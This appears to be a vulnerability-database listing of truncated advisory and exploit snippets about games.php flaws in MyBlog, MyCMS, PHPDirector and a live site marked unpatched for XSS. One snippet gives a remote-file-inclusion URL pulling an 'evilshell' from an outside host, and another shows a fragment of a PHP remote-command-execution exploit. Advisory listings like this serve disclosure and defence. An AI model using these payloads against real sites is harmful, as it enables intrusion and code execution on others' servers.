lki.ru XSS vulnerability

Vulnerable URL: http://www.lki.ru/games.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 136272 Google Pagerank| 4 VIP website status:| No Check lki.ru SSL connection:| Grade: F...

PHPDirector Game Edition 0.1 - Multiple Vulnerabilities (LFI/SQLi/Xss)

No description provided by source. Exploit Title: PHPDirector Game Edition Multiple Vulnerabilities LFI/SQLi/Xss Date: 2010-01-05 Author: Zer0 Thunder Site : http://www.play-online.bzh.be/forum/ Version: v0.1 Tested on: Windows XP sp2 WampServer 2.0i / LinuxBox Ubuntu Server 9.10 CVE : Code : Loc...

MyBlog 1.x Games.PHP ID Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/26987/info MyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and the underlying...

MyBlog Games.PHP ID远程文件包含漏洞

BUGTRAQ ID: 26987 CNCAN ID:CNCAN-2007122409 MyBlog是一款基于PHP的WEB应用程序。 MyBlog不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Games.PHP'脚本对用户提交的WEB参数缺少过滤，提交远程服务器上的任意文件作为包含对象，可导致以WEB权限执行任意PHP代码。 MyBlog MyBlog 1.6 MyBlog MyBlog 1.5 MyBlog MyBlog 1.4 MyBlog MyBlog 1.3 MyBlog MyBlog 1.2 MyBlog MyBlog 1...

My Blog Rfi

MyBlog CMS RFI Aurthor: Beenu Arora mail: [email protected] Application:MyBlog: PHP and MySQL Blog/CMS software RFI 1.http://localhost/games.php?id=http://evilshell vulnerablity: include$GET'id' . ".php"; greetz : d3, baltazar , Zugzwang , Fuzion , Vivek Site: www.darkc0de.com...

MyBlog 1.x - Games.php?ID Remote File Inclusion

MyBlog 1.x - Games.php?ID Remote File Inclusion source: https://www.securityfocus.com/bid/26987/info MyBlog is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the application and t...

Code injection

Multiple direct static code injection vulnerabilities in MyCMS 0.9.8 and earlier allow remote attackers to inject arbitrary PHP code into 1 a score.txt file via the score parameter, or 2 a setby.txt file via a login cookie, which is then included by games.php. NOTE: programs that use games.php...

CVE-2007-3586

Multiple direct static code injection vulnerabilities in MyCMS 0.9.8 and earlier allow remote attackers to inject arbitrary PHP code into 1 a score.txt file via the score parameter, or 2 a setby.txt file via a login cookie, which is then included by games.php. NOTE: programs that use games.php...

MyCMS 0.9.8 - Remote Command Execution (2)

!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argcNo new score set"; elseif $score $data $file1 = "snakescore.txt"; $file2 = "snakesetby.txt"; $file1h = fopen$file1, 'w' or die"can't open file"; $file2h = fopen$file2, 'w' or die"can't open file"...

MyBlog Games.PHP远程文件包含漏洞

MyBlog是一款基于PHP的WEB应用程序。 MyBlog不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Games.PHP'脚本对用户提交的'scoreid'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 MyBlog MyBlog 1.6 MyBlog MyBlog 1.5 MyBlog MyBlog 1.4 MyBlog MyBlog 1.3 MyBlog MyBlog 1.2 MyBlog MyBlog 1.1 MyBlog MyBlog 1.0 目前没有解决方案提供：...

Remote file inclusion

PHP remote file inclusion vulnerability in games.php in Sam Crew MyBlog, possibly 1.0 through 1.6, allows remote attackers to execute arbitrary PHP code via a URL in the id parameter, a different vector than CVE-2007-1968. NOTE: the provenance of this information is unknown; the details are...

CVE-2007-1990

PHP remote file inclusion vulnerability in games.php in Sam Crew MyBlog, possibly 1.0 through 1.6, allows remote attackers to execute arbitrary PHP code via a URL in the id parameter, a different vector than CVE-2007-1968. NOTE: the provenance of this information is unknown; the details are...